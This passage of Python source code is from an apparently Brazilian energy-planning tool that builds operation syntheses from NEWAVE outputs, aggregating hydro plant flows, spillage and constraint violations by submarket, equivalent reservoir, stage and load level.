OperationSynthesis(\n Variable.VIOLACAO_DEFLUENCIA_MAXIMA,\n SpatialResolution.RESERVATORIO_EQUIVALENTE,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_DEFLUENCIA_MINIMA,\n SpatialResolution.RESERVATORIO_EQUIVALENTE,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_TURBINAMENTO_MAXIMO,\n SpatialResolution.RESERVATORIO_EQUIVALENTE,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_TURBINAMENTO_MINIMO,\n SpatialResolution.RESERVATORIO_EQUIVALENTE,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_FPHA,\n SpatialResolution.RESERVATORIO_EQUIVALENTE,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_DEFLUENCIA_MAXIMA,\n SpatialResolution.SUBMERCADO,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_DEFLUENCIA_MINIMA,\n SpatialResolution.SUBMERCADO,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_TURBINAMENTO_MAXIMO,\n SpatialResolution.SUBMERCADO,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_TURBINAMENTO_MINIMO,\n SpatialResolution.SUBMERCADO,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_FPHA,\n SpatialResolution.SUBMERCADO,\n TemporalResolution.ESTAGIO,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_DEFLUENCIA_MAXIMA,\n SpatialResolution.SUBMERCADO,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_DEFLUENCIA_MINIMA,\n SpatialResolution.SUBMERCADO,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_TURBINAMENTO_MAXIMO,\n SpatialResolution.SUBMERCADO,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_TURBINAMENTO_MINIMO,\n SpatialResolution.SUBMERCADO,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_FPHA,\n SpatialResolution.SUBMERCADO,\n TemporalResolution.PATAMAR,\n ),\n OperationSynthesis(\n Variable.VIOLACAO_VMINOP,\n SpatialResolution.SUBMERCADO,\n TemporalResolution.ESTAGIO,\n ),\n ]\n\n CACHED_SYNTHESIS: Dict[OperationSynthesis, pd.DataFrame] = {}\n\n T = TypeVar(\"T\")\n\n logger: Optional[logging.Logger] = None\n\n @classmethod\n def _validate_data(cls, data, type: Type[T], msg: str = \"dados\") -> T:\n if not isinstance(data, type):\n if cls.logger is not None:\n cls.logger.error(f\"Erro na leitura de {msg}\")\n raise RuntimeError()\n return data\n\n @classmethod\n def _default_args(cls) -> List[OperationSynthesis]:\n args = [\n OperationSynthesis.factory(a)\n for a in cls.DEFAULT_OPERATION_SYNTHESIS_ARGS\n ]\n return [arg for arg in args if arg is not None]\n\n @classmethod\n def _process_variable_arguments(\n cls,\n args: List[str],\n ) -> List[OperationSynthesis]:\n args_data = [OperationSynthesis.factory(c) for c in args]\n valid_args = [arg for arg in args_data if arg is not None]\n return valid_args\n\n @classmethod\n def _validate_spatial_resolution_request(\n cls, spatial_resolution: SpatialResolution, *args, **kwargs\n ) -> bool:\n RESOLUTION_ARGS_MAP: Dict[SpatialResolution, List[str]] = {\n SpatialResolution.SISTEMA_INTERLIGADO: [],\n SpatialResolution.SUBMERCADO: [\"submercado\"],\n SpatialResolution.PAR_SUBMERCADOS: [\"submercados\"],\n SpatialResolution.RESERVATORIO_EQUIVALENTE: [\"ree\"],\n SpatialResolution.USINA_HIDROELETRICA: [\"uhe\"],\n SpatialResolution.USINA_TERMELETRICA: [\"ute\"],\n SpatialResolution.PARQUE_EOLICO_EQUIVALENTE: [\"pee\"],\n }\n\n mandatory = RESOLUTION_ARGS_MAP[spatial_resolution]\n valid = all([a in kwargs.keys() for a in mandatory])\n if not valid:\n if cls.logger is not None:\n cls.logger.error(\n f\"Erro no processamento da informação por {spatial_resolution}\"\n )\n return valid\n\n @classmethod\n def filter_valid_variables(\n cls, variables: List[OperationSynthesis], uow: AbstractUnitOfWork\n ) -> List[OperationSynthesis]:\n with uow:\n dger = uow.files.get_dger()\n rees = cls._validate_data(\n uow.files.get_ree().rees, pd.DataFrame, \"REE\"\n )\n valid_variables: List[OperationSynthesis] = []\n sf_indiv = dger.agregacao_simulacao_final == 1\n politica_indiv = rees[\"Mês Fim Individualizado\"].isna().sum() == 0\n indiv = sf_indiv or politica_indiv\n geracao_eolica = cls._validate_data(\n dger.considera_geracao_eolica, int, \"dger\"\n )\n eolica = geracao_eolica != 0\n if cls.logger is not None:\n cls.logger.info(\n f\"Caso com geração de cenários de eólica: {eolica}\"\n )\n cls.logger.info(f\"Caso com modelagem híbrida: {indiv}\")\n for v in variables:\n if (\n v.variable\n in [\n Variable.VELOCIDADE_VENTO,\n Variable.GERACAO_EOLICA,\n Variable.CORTE_GERACAO_EOLICA,\n ]\n and not eolica\n ):\n continue\n if (\n v.spatial_resolution == SpatialResolution.USINA_HIDROELETRICA\n and not indiv\n ):\n continue\n if (\n v.variable\n in [\n Variable.VIOLACAO_DEFLUENCIA_MAXIMA,\n Variable.VIOLACAO_DEFLUENCIA_MINIMA,\n Variable.VIOLACAO_FPHA,\n Variable.VIOLACAO_TURBINAMENTO_MAXIMO,\n Variable.VIOLACAO_TURBINAMENTO_MINIMO,\n ]\n and not indiv\n ):\n continue\n valid_variables.append(v)\n if cls.logger is not None:\n cls.logger.info(f\"Variáveis: {valid_variables}\")\n return valid_variables\n\n @classmethod\n def __resolve_EST(cls, df: pd.DataFrame) -> pd.DataFrame:\n anos = df[\"Ano\"].unique().tolist()\n labels = pd.date_range(\n datetime(year=anos[0], month=1, day=1),\n datetime(year=anos[-1], month=12, day=1),\n freq=\"MS\",\n )\n df_series = pd.DataFrame()\n for a in anos:\n df_ano = df.loc[df[\"Ano\"] == a, MESES_DF].T\n df_ano.columns = [\n str(s) for s in list(range(1, df_ano.shape[1] + 1))\n ]\n df_series = pd.concat([df_series, df_ano], ignore_index=True)\n cols = df_series.columns.tolist()\n df_series[\"estagio\"] = list(range(1, len(labels) + 1))\n df_series[\"dataInicio\"] = labels\n df_series[\"dataFim\"] = df_series.apply(\n lambda x: x[\"dataInicio\"] + relativedelta(months=1), axis=1\n )\n return df_series[[\"estagio\", \"dataInicio\", \"dataFim\"] + cols]\n\n @classmethod\n def __resolve_PAT(cls, df: pd.DataFrame) -> pd.DataFrame:\n anos = df[\"Ano\"].unique().tolist()\n patamares = df[\"Patamar\"].unique().tolist()\n labels = []\n for a in anos:\n for p in patamares:\n labels += pd.date_range(\n datetime(year=a, month=1, day=1),\n datetime(year=a, month=12, day=1),\n freq=\"MS\",\n ).tolist()\n df_series = pd.DataFrame()\n for a in anos:\n for p in patamares:\n df_ano_patamar = df.loc[\n (df[\"Ano\"] == a) & (df[\"Patamar\"] == p),\n MESES_DF,\n ].T\n cols = [\n str(s) for s in list(range(1, df_ano_patamar.shape[1] + 1))\n ]\n df_ano_patamar.columns = cols\n df_ano_patamar[\"patamar\"] = str(p)\n df_ano_patamar = df_ano_patamar[[\"patamar\"] + cols]\n df_series = pd.concat(\n [df_series, df_ano_patamar], ignore_index=True\n )\n cols = df_series.columns.tolist()\n labels_estagios = []\n for i in range(len(anos)):\n labels_estagios += list(range(12 * i + 1, 12 * (i + 1) + 1)) * len(\n patamares\n )\n\n df_series[\"estagio\"] = labels_estagios\n df_series[\"dataInicio\"] = labels\n df_series[\"dataFim\"] = df_series.apply(\n lambda x: x[\"dataInicio\"] + relativedelta(months=1), axis=1\n )\n return df_series[[\"estagio\", \"dataInicio\", \"dataFim\"] + cols]\n\n @classmethod\n def _resolve_temporal_resolution(\n cls, synthesis: OperationSynthesis, df: pd.DataFrame\n ) -> pd.DataFrame:\n if df is None:\n return None\n\n RESOLUTION_FUNCTION_MAP: Dict[TemporalResolution, Callable] = {\n TemporalResolution.ESTAGIO: cls.__resolve_EST,\n TemporalResolution.PATAMAR: cls.__resolve_PAT,\n }\n\n solver = RESOLUTION_FUNCTION_MAP[synthesis.temporal_resolution]\n return solver(df)\n\n @classmethod\n def __resolve_SIN(\n cls, synthesis: OperationSynthesis, uow: AbstractUnitOfWork\n ) -> pd.DataFrame:\n with uow:\n if cls.logger is not None:\n cls.logger.info(\"Processando arquivo do SIN\")\n df = uow.files.get_nwlistop(\n synthesis.variable,\n synthesis.spatial_resolution,\n synthesis.temporal_resolution,\n \"\",\n )\n if df is not None:\n return cls._resolve_temporal_resolution(synthesis, df)\n else:\n return pd.DataFrame()\n\n @classmethod\n def __resolve_SBM(\n cls, synthesis: OperationSynthesis, uow: AbstractUnitOfWork\n ) -> pd.DataFrame:\n with uow:\n sistema = cls._validate_data(\n uow.files.get_sistema().custo_deficit,\n pd.DataFrame,\n \"submercados\",\n )\n sistemas_reais = sistema.loc[sistema[\"Fictício\"] == 0, :]\n sbms_idx = sistemas_reais[\"Num. Subsistema\"]\n sbms_name = sistemas_reais[\"Nome\"]\n df = pd.DataFrame()\n for s, n in zip(sbms_idx, sbms_name):\n if cls.logger is not None:\n cls.logger.info(\n f\"Processando arquivo do submercado: {s} - {n}\"\n )\n df_sbm = cls._resolve_temporal_resolution(\n synthesis,\n uow.files.get_nwlistop(\n synthesis.variable,\n synthesis.spatial_resolution,\n synthesis.temporal_resolution,\n submercado=s,\n ),\n )\n if df_sbm is None:\n continue\n cols = df_sbm.columns.tolist()\n df_sbm[\"submercado\"] = n\n df_sbm = df_sbm[[\"submercado\"] + cols]\n df = pd.concat(\n [df, df_sbm],\n ignore_index=True,\n )\n return df\n\n @classmethod\n def __resolve_SBP(\n cls, synthesis: OperationSynthesis, uow: AbstractUnitOfWork\n ) -> pd.DataFrame:\n with uow:\n sistema = cls._validate_data(\n uow.files.get_sistema().custo_deficit,\n pd.DataFrame,\n \"submercados\",\n )\n sbms_idx = sistema[\"Num. Subsistema\"]\n sbms_name = sistema[\"Nome\"]\n df = pd.DataFrame()\n for s1, n1 in zip(sbms_idx, sbms_name):\n for s2, n2 in zip(sbms_idx, sbms_name):\n # Ignora o mesmo SBM\n if s1 >= s2:\n continue\n if cls.logger is not None:\n cls.logger.info(\n \"Processando arquivo do par de \"\n + f\"submercados: {s1} - {n1} | {s2} - {n2}\"\n )\n df_sbm = cls._resolve_temporal_resolution(\n synthesis,\n uow.files.get_nwlistop(\n synthesis.variable,\n synthesis.spatial_resolution,\n synthesis.temporal_resolution,\n submercados=(s1, s2),\n ),\n )\n if df_sbm is None:\n continue\n cols = df_sbm.columns.tolist()\n df_sbm[\"submercadoDe\"] = n1\n df_sbm[\"submercadoPara\"] = n2\n df_sbm = df_sbm[[\"submercadoDe\", \"submercadoPara\"] + cols]\n df = pd.concat(\n [df, df_sbm],\n ignore_index=True,\n )\n return df\n\n @classmethod\n def __resolve_REE(\n cls, synthesis: OperationSynthesis, uow: AbstractUnitOfWork\n ) -> pd.DataFrame:\n with uow:\n rees = cls._validate_data(\n uow.files.get_ree().rees, pd.DataFrame, \"REEs\"\n )\n rees_idx = rees[\"Número\"]\n rees_name = rees[\"Nome\"]\n df = pd.DataFrame()\n for s, n in zip(rees_idx, rees_name):\n if cls.logger is not None:\n cls.logger.info(f\"Processando arquivo do REE: {s} - {n}\")\n df_ree = cls._resolve_temporal_resolution(\n synthesis,\n uow.files.get_nwlistop(\n synthesis.variable,\n synthesis.spatial_resolution,\n synthesis.temporal_resolution,\n ree=s,\n ),\n )\n if df_ree is None:\n continue\n cols = df_ree.columns.tolist()\n df_ree[\"ree\"] = n\n df_ree = df_ree[[\"ree\"] + cols]\n df = pd.concat(\n [df, df_ree],\n ignore_index=True,\n )\n return df\n\n @classmethod\n def _resolve_UHE_usina(\n cls,\n uow: AbstractUnitOfWork,\n synthesis: OperationSynthesis,\n uhe_index: int,\n uhe_name: str,\n ) -> pd.DataFrame:\n logger_name = f\"{synthesis.variable.value}_{uhe_name}\"\n logger = Log.configure_process_logger(\n uow.queue, logger_name, uhe_index\n )\n with uow:\n logger.info(\n f\"Processando arquivo da UHE: {uhe_index} - {uhe_name}\"\n )\n df_uhe = cls._resolve_temporal_resolution(\n synthesis,\n uow.files.get_nwlistop(\n synthesis.variable,\n synthesis.spatial_resolution,\n synthesis.temporal_resolution,\n uhe=uhe_index,\n ),\n )\n if df_uhe is None:\n return None\n cols = df_uhe.columns.tolist()\n df_uhe[\"usina\"] = uhe_name\n df_uhe = df_uhe[[\"usina\"] + cols]\n return df_uhe\n\n @classmethod\n def __stub_agrega_estagio_variaveis_por_patamar(\n cls, synthesis: OperationSynthesis, uow: AbstractUnitOfWork\n ) -> pd.DataFrame:\n with uow:\n confhd = cls._validate_data(\n uow.files.get_confhd().usinas, pd.DataFrame, \"UHEs\"\n )\n rees = cls._validate_data(\n uow.files.get_ree().rees, pd.DataFrame, \"REEs\"\n )\n dger = uow.files.get_dger()\n ano_inicio = cls._validate_data(\n dger.ano_inicio_estudo, int, \"dger\"\n )\n anos_estudo = cls._validate_data(dger.num_anos_estudo, int, \"dger\")\n agregacao_sim_final = dger.agregacao_simulacao_final\n anos_pos_sim_final = cls._validate_data(\n dger.num_anos_pos_sim_final, int, \"dger\"\n )\n\n # Obtem o fim do periodo individualizado\n if agregacao_sim_final == 1:\n fim = datetime(\n year=ano_inicio + anos_estudo + anos_pos_sim_final,\n month=1,\n day=1,\n )\n elif rees[\"Ano Fim Individualizado\"].isna().sum() > 0:\n fim = datetime(\n year=ano_inicio + anos_estudo + anos_pos_sim_final,\n month=1,\n day=1,\n )\n else:\n fim = datetime(\n year=int(rees[\"Ano Fim Individualizado\"].iloc[0]),\n month=int(rees[\"Mês Fim Individualizado\"].iloc[0]),\n day=1,\n )\n uhes_idx = confhd[\"Número\"]\n uhes_name = confhd[\"Nome\"]\n\n df_completo = pd.DataFrame()\n n_procs = int(Settings().processors)\n with Pool(processes=n_procs) as pool:\n if n_procs > 1:\n if cls.logger is not None:\n cls.logger.info(\"Paralelizando...\")\n async_res = {\n idx: pool.apply_async(\n cls._resolve_UHE_usina,\n (\n uow,\n OperationSynthesis(\n variable=synthesis.variable,\n spatial_resolution=synthesis.spatial_resolution,\n temporal_resolution=TemporalResolution.PATAMAR,\n ),\n idx,\n name,\n ),\n )\n for idx, name in zip(uhes_idx, uhes_name)\n }\n dfs = {ir: r.get(timeout=3600) for ir, r in async_res.items()}\n if cls.logger is not None:\n cls.logger.info(\"Compactando dados...\")\n for _, df in dfs.items():\n df_completo = pd.concat([df_completo, df], ignore_index=True)\n\n cols_nao_cenarios = [\n \"estagio\",\n \"dataInicio\",\n \"dataFim\",\n \"patamar\",\n \"usina\",\n ]\n cols_cenarios = [\n c\n for c in df_completo.columns.tolist()\n if c not in cols_nao_cenarios\n ]\n if synthesis.temporal_resolution == TemporalResolution.ESTAGIO:\n patamares = df_completo[\"patamar\"].unique().tolist()\n cenarios_patamares: List[np.ndarray] = []\n p0 = patamares[0]\n for p in patamares:\n cenarios_patamares.append(\n df_completo.loc[\n df_completo[\"patamar\"] == p, cols_cenarios\n ].to_numpy()\n )\n df_completo.loc[df_completo[\"patamar\"] == p0, cols_cenarios] = 0.0\n for c in cenarios_patamares:\n df_completo.loc[\n df_completo[\"patamar\"] == p0, cols_cenarios\n ] += c\n df_completo = df_completo.loc[df_completo[\"patamar\"] == p0, :]\n df_completo = df_completo.drop(columns=\"patamar\")\n\n df_completo = df_completo.loc[df_completo[\"dataInicio\"] < fim, :]\n return df_completo\n\n @classmethod\n def __stub_QTUR_QVER(\n cls, synthesis: OperationSynthesis, uow: AbstractUnitOfWork\n ) -> pd.DataFrame:\n variable_map = {\n Variable.VAZAO_VERTIDA: Variable.VOLUME_VERTIDO,\n Variable.VAZAO_TURBINADA: Variable.VOLUME_TURBINADO,\n }\n with uow:\n confhd = cls._validate_data(\n uow.files.get_confhd().usinas, pd.DataFrame, \"UHEs\"\n )\n rees = cls._validate_data(\n uow.files.get_ree().rees, pd.DataFrame, \"REEs\"\n )\n dger = uow.files.get_dger()\n ano_inicio = cls._validate_data(\n dger.ano_inicio_estudo, int, \"dger\"\n )\n anos_estudo = cls._validate_data(dger.num_anos_estudo, int, \"dger\")\n anos_pos_sim_final = cls._validate_data(\n dger.num_anos_pos_sim_final, int, \"dger\"\n )\n\n agregacao_sim_final = dger.agregacao_simulacao_final\n # Obtem o fim do periodo individualizado\n if agregacao_sim_final == 1:\n fim = datetime(\n year=ano_inicio + anos_estudo + anos_pos_sim_final,\n month=1,\n day=1,\n )\n elif rees[\"Ano Fim Individualizado\"].isna().sum() > 0:\n fim = datetime(\n year=ano_inicio + anos_estudo + anos_pos_sim_final,\n month=1,\n day=1,\n )\n else:\n fim = datetime(\n year=int(rees[\"Ano Fim Individualizado\"].iloc[0]),\n month=int(rees[\"Mês Fim Individualizado\"].iloc[0]),\n day=1,\n )\n uhes_idx = confhd[\"Número\"]\n uhes_name = confhd[\"Nome\"]\n\n df_completo = pd.DataFrame()\n n_procs = int(Settings().processors)\n with Pool(processes=n_procs) as pool:\n if n_procs > 1:\n if cls.logger is not None:\n cls.logger.info(\"Paralelizando...\")\n async_res = {\n idx: pool.apply_async(\n cls._resolve_UHE_usina,\n (\n uow,\n OperationSynthesis(\n variable=variable_map[synthesis.variable],\n spatial_resolution=synthesis.spatial_resolution,\n temporal_resolution=TemporalResolution.PATAMAR,\n ),\n idx,\n name,\n ),\n )\n for idx, name in zip(uhes_idx, uhes_name)\n }\n dfs = {ir: r.get(timeout=3600) for ir, r in async_res.items()}\n if cls.logger is not None:\n cls.logger.info(\"Compactando dados...\")\n for _, df in dfs.items():\n df_completo = pd.concat([df_completo, df], ignore_index=True)\n\n cols_nao_cenarios = [\n \"estagio\",\n \"dataInicio\",\n \"dataFim\",\n \"patamar\",\n \"usina\",\n ]\n cols_cenarios = [\n c\n for c in df_completo.columns.tolist()\n if c not in cols_nao_cenarios\n ]\n if synthesis.temporal_resolution == TemporalResolution.ESTAGIO:\n patamares = df_completo[\"patamar\"].unique().tolist()\n cenarios_patamares: List[np.ndarray] = []\n p0 = patamares[0]\n for p in patamares:\n cenarios_patamares.append(\n df_completo.loc[\n df_completo[\"patamar\"] == p, cols_cenarios\n ].to_numpy()\n )\n df_completo.loc[df_completo[\"patamar\"] == p0, cols_cenarios] = 0.0\n for c in cenarios_patamares:\n df_completo.loc[\n df_completo[\"patamar\"] == p0, cols_cenarios\n ] += c\n df_completo = df_completo.loc[df_completo[\"patamar\"] == p0, :]\n df_completo = df_completo.drop(columns=\"patamar\")\n\n df_completo.loc[:, cols_cenarios] *= FATOR_HM3_M3S\n df_completo = df_completo.loc[df_completo[\"dataInicio\"] < fim, :]\n return df_completo\n\n @classmethod\n def __stub_QDEF(\n cls, synthesis: OperationSynthesis, uow: AbstractUnitOfWork\n ) -> pd.DataFrame:\n sintese_tur = OperationSynthesis(\n Variable.VAZAO_TURBINADA,\n synthesis.spatial_resolution,\n synthesis.temporal_resolution,\n )\n sintese_ver = OperationSynthesis(\n Variable.VAZAO_VERTIDA,\n synthesis.spatial_resolution,\n synthesis.temporal_resolution,\n )\n cache_tur = cls.CACHED_SYNTHESIS.get(sintese_tur)\n cache_ver = cls.CACHED_SYNTHESIS.get(sintese_ver)\n df_tur = (\n cache_tur\n if cache_tur is not None\n else cls.__stub_QTUR_QVER(\n OperationSynthesis(\n Variable.VAZAO_TURBINADA,\n synthesis.spatial_resolution,\n synthesis.temporal_resolution,\n ),\n uow,\n )\n )\n df_ver = (\n cache_ver\n if cache_ver is not None\n else cls.__stub_QTUR_QVER(\n OperationSynthesis(\n Variable.VAZAO_VERTIDA,\n synthesis.spatial_resolution,\n synthesis.temporal_resolution,\n ),\n uow,\n )\n )\n cols_nao_cenarios = [\n \"estagio\",\n \"dataInicio\",\n \"dataFim\",\n \"patamar\",\n \"usina\",\n ]\n cols_cenarios = [\n c for c in df_ver.columns.tolist() if c not in cols_nao_cenarios\n ]\n df_ver.loc[:, cols_cenarios] = (\n df_tur[cols_cenarios].to_numpy() + df_ver[cols_cenarios].to_numpy()\n )\n return df_ver\n\n @classmethod\n def __stub_EVER(\n cls, synthesis: OperationSynthesis, uow: AbstractUnitOfWork\n ) -> pd.DataFrame:\n sintese_reserv = OperationSynthesis(\n Variable.ENERGIA_VERTIDA_RESERV,\n synthesis.spatial_resolution,\n synthesis.temporal_resolution,\n )\n sintese_fio = OperationSynthesis(\n Variable.ENERGIA_VERTIDA_FIO,\n synthesis.spatial_resolution,\n synthesis.temporal_resolution,\n )\n cache_reserv = cls.CACHED_SYNTHESIS.get(sintese_reserv)\n cache_fio = cls.CACHED_SYNTHESIS.get(sintese_fio)\n\n df_reserv = (\n cache_reserv\n if cache_reserv is not None\n else cls._resolve_spatial_resolution(\n OperationSynthesis(\n Variable.ENERGIA_VERTIDA_RESERV,\n synthesis.spatial_resolution,\n synthesis.temporal_resolution,\n ),\n uow,\n )\n )\n df_fio = (\n cache_fio\n if cache_fio is not None\n else cls._resolve_spatial_resolution(\n OperationSynthesis(\n Variable.ENERGIA_VERTIDA_FIO,\n synthesis.spatial_resolution,\n synthesis.temporal_resolution,\n ),\n uow,\n )\n )\n cols_nao_cenarios = [\n \"estagio\",\n \"dataInicio\",\n \"dataFim\",\n \"patamar\",\n \"usina\",\n \"ree\",\n \"submercado\",\n ]\n cols_cenarios = [\n c for c in df_reserv.columns.tolist() if c not in cols_nao_cenarios\n ]\n df_reserv.loc[:, cols_cenarios] = (\n df_fio[cols_cenarios].to_numpy()\n + df_reserv[cols_cenarios].to_numpy()\n )\n return df_reserv\n\n @classmethod\n def __stub_agrega_variaveis_indiv_REE_SBM_SIN(\n cls, synthesis: OperationSynthesis, uow: AbstractUnitOfWork\n ) -> pd.DataFrame:\n with uow:\n sistema = cls._validate_data(\n uow.files.get_sistema().custo_deficit,\n pd.DataFrame,\n \"submercados\",\n )\n confhd = cls._validate_data(\n uow.files.get_confhd().usinas, pd.DataFrame, \"UHEs\"\n )\n rees = cls._validate_data(\n uow.files.get_ree().rees, pd.DataFrame, \"REEs\"\n )\n\n rees_usinas = confhd[\"REE\"].unique().tolist()\n nomes_rees = {\n r: str(rees.loc[rees[\"Número\"] == r, \"Nome\"].tolist()[0])\n for r in rees_usinas\n }\n rees_submercados = {\n r: str(\n sistema.loc[\n sistema[\"Num. Subsistema\"]\n == int(\n rees.loc[rees[\"Número\"] == r, \"Submercado\"].iloc[0]\n ),\n \"Nome\",\n ].tolist()[0]\n )\n for r in rees_usinas\n }\n s = OperationSynthesis(\n variable=synthesis.variable,\n spatial_resolution=SpatialResolution.USINA_HIDROELETRICA,\n temporal_resolution=synthesis.temporal_resolution,\n )\n cache_uhe = cls.CACHED_SYNTHESIS.get(s)\n if cache_uhe is None:\n df_uhe = cls._resolve_spatial_resolution(s, uow)\n cls.CACHED_SYNTHESIS[s] = df_uhe\n else:\n df_uhe = cache_uhe\n\n if df_uhe is None:\n return None\n if df_uhe.empty:\n return None\n\n df_uhe = df_uhe.copy()\n\n df_uhe[\"group\"] = df_uhe.apply(\n lambda linha: int(\n confhd.loc[confhd[\"Nome\"] == linha[\"usina\"], \"REE\"].iloc[0]\n ),\n axis=1,\n )\n if (\n synthesis.spatial_resolution\n == SpatialResolution.RESERVATORIO_EQUIVALENTE\n ):\n df_uhe[\"group\"] = df_uhe.apply(\n lambda linha: nomes_rees[linha[\"group\"]], axis=1\n )\n elif synthesis.spatial_resolution == SpatialResolution.SUBMERCADO:\n df_uhe[\"group\"] = df_uhe.apply(\n lambda linha: rees_submercados[linha[\"group\"]], axis=1\n )\n elif (\n synthesis.spatial_resolution\n == SpatialResolution.SISTEMA_INTERLIGADO\n ):\n df_uhe[\"group\"] = 1\n\n cols_group = [\"group\"] + [\n c\n for c in df_uhe.columns\n if c in cls.IDENTIFICATION_COLUMNS and c != \"usina\"\n ]\n df_group = (\n df_uhe.groupby(cols_group).sum(numeric_only=True).reset_index()\n )\n\n group_name = {\n SpatialResolution.RESERVATORIO_EQUIVALENTE: \"ree\",\n SpatialResolution.SUBMERCADO: \"submercado\",\n }\n if (\n synthesis.spatial_resolution\n == SpatialResolution.SISTEMA_INTERLIGADO\n ):\n df_group = df_group.drop(columns=[\"group\"])\n else:\n df_group = df_group.rename(\n columns={\"group\": group_name[synthesis.spatial_resolution]}\n )\n return df_group\n\n @classmethod\n def __resolve_stub_vminop_sin(\n cls, synthesis: OperationSynthesis, uow: AbstractUnitOfWork\n ) -> pd.DataFrame:\n sintese_sbm = OperationSynthesis(\n variable=synthesis.variable,\n spatial_resolution=SpatialResolution.SUBMERCADO,\n temporal_resolution=synthesis.temporal_resolution,\n )\n cache_vminop = cls.CACHED_SYNTHESIS.get(sintese_sbm)\n df_vminop = (\n cache_vminop\n if cache_vminop is not None\n else cls.__resolve_SBM(sintese_sbm, uow)\n )\n cols_group = [\n c\n for c in df_vminop.columns\n if c in cls.IDENTIFICATION_COLUMNS and c != \"submercado\"\n ]\n df_sin = (\n df_vminop.groupby(cols_group).sum(numeric_only=True).reset_index()\n )\n return df_sin\n\n @classmethod\n def __postprocess_violacoes_UHE_estagio(\n cls, df_completo: pd.DataFrame, cols_cenarios: List[str]\n ):\n patamares = df_completo[\"patamar\"].unique().tolist()\n cenarios_patamares: List[np.ndarray] = []\n p0 = patamares[0]\n for p in patamares:\n cenarios_patamares.append(\n df_completo.loc[\n df_completo[\"patamar\"] == p, cols_cenarios\n ].to_numpy()\n )\n df_completo.loc[df_completo[\"patamar\"] == p0, cols_cenarios] = 0.0\n for c in cenarios_patamares:\n df_completo.loc[df_completo[\"patamar\"] == p0, cols_cenarios] += c\n df_completo = df_completo.loc[df_completo[\"patamar\"] == p0, :]\n return df_completo.drop(columns=[\"patamar\"])\n\n @classmethod\n def __stub_violacoes_UHE(\n cls, synthesis: OperationSynthesis, uow: AbstractUnitOfWork\n ):\n with uow:\n confhd = cls._validate_data(\n uow.files.get_confhd().usinas, pd.DataFrame, \"UHEs\"\n )\n rees = cls._validate_data(\n uow.files.get_ree().rees, pd.DataFrame, \"REEs\"\n )\n dger = uow.files.get_dger()\n agregacao_sim_final = dger.agregacao_simulacao_final\n ano_inicio = cls._validate_data(\n dger.ano_inicio_estudo, int, \"dger\"\n )\n anos_estudo = cls._validate_data(dger.num_anos_estudo, int, \"dger\")\n\n anos_pos_sim_final = cls._validate_data(\n dger.num_anos_pos_sim_final, int, \"dger\"\n )\n\n # Obtem o fim do periodo individualizado\n if agregacao_sim_final == 1:\n fim = datetime(\n year=ano_inicio + anos_estudo + anos_pos_sim_final,\n month=1,\n day=1,\n )\n elif rees[\"Ano Fim Individualizado\"].isna().sum() > 0:\n fim = datetime(\n year=ano_inicio + anos_estudo + anos_pos_sim_final,\n month=1,\n day=1,\n )\n else:\n fim = datetime(\n year=int(rees[\"Ano Fim Individualizado\"].iloc[0]),\n month=int(rees[\"Mês Fim Individualizado\"].iloc[0]),\n day=1,\n )\n uhes_idx = confhd[\"Número\"]\n uhes_name = confhd[\"Nome\"]\n\n df_completo = pd.DataFrame()\n n_procs = int(Settings().processors)\n with Pool(processes=n_procs) as pool:\n if n_procs > 1:\n if cls.logger is not None:\n cls.logger.info(\"Paralelizando...\")\n async_res = {\n idx: pool.apply_async(\n cls._resolve_UHE_usina,\n (\n uow,\n OperationSynthesis(\n variable=synthesis.variable,\n spatial_resolution=synthesis.spatial_resolution,\n temporal_resolution=TemporalResolution.PATAMAR,\n ),\n idx,\n name,\n ),\n )\n for idx, name in zip(uhes_idx, uhes_name)\n }\n dfs = {ir: r.get(timeout=3600) for ir, r in async_res.items()}\n if cls.logger is not None:\n cls.logger.info(\"Compactando dados...\")\n for _, df in dfs.items():\n df_completo = pd.concat([df_completo, df], ignore_index=True)\n\n cols_nao_cenarios = [\n \"estagio\",\n \"dataInicio\",\n \"dataFim\",\n \"patamar\",\n \"usina\",\n ]\n cols_cenarios = [\n c\n for c in df_completo.columns.tolist()\n if c not in cols_nao_cenarios\n ]\n if synthesis.temporal_resolution == TemporalResolution.ESTAGIO:\n df_completo = cls.__postprocess_violacoes_UHE_estagio(\n df_completo, cols_cenarios\n )\n\n df_completo.loc[:, cols_cenarios] *= FATOR_HM3_M3S\n if df_completo is not None:\n if not df_completo.empty:\n df_completo = df_completo.loc[\n df_completo[\"dataInicio\"] < fim, :\n ]\n return df_completo\n\n @classmethod\n def __resolve_stubs_UHE(\n cls, synthesis: OperationSynthesis, uow: AbstractUnitOfWork\n ) -> pd.DataFrame:\n if synthesis.variable in [\n Variable.VAZAO_TURBINADA,\n Variable.VAZAO_VERTIDA,\n ]:\n return cls.__stub_QTUR_QVER(synthesis, uow)\n elif synthesis.variable == Variable.VAZAO_DEFLUENTE:\n return cls.__stub_QDEF(synthesis, uow)\n elif synthesis.variable in [\n Variable.GERACAO_HIDRAULICA,\n Variable.VOLUME_TURBINADO,\n Variable.VOLUME_VERTIDO,\n ]:\n return cls.__stub_agrega_estagio_variaveis_por_patamar(\n synthesis, uow\n )\n elif synthesis.variable in [\n Variable.VIOLACAO_DEFLUENCIA_MAXIMA,\n Variable.VIOLACAO_DEFLUENCIA_MINIMA,\n Variable.VIOLACAO_TURBINAMENTO_MAXIMO,\n Variable.VIOLACAO_TURBINAMENTO_MINIMO,\n Variable.VIOLACAO_FPHA,\n ]:\n return cls.__stub_violacoes_UHE(synthesis, uow)\n\n @classmethod\n 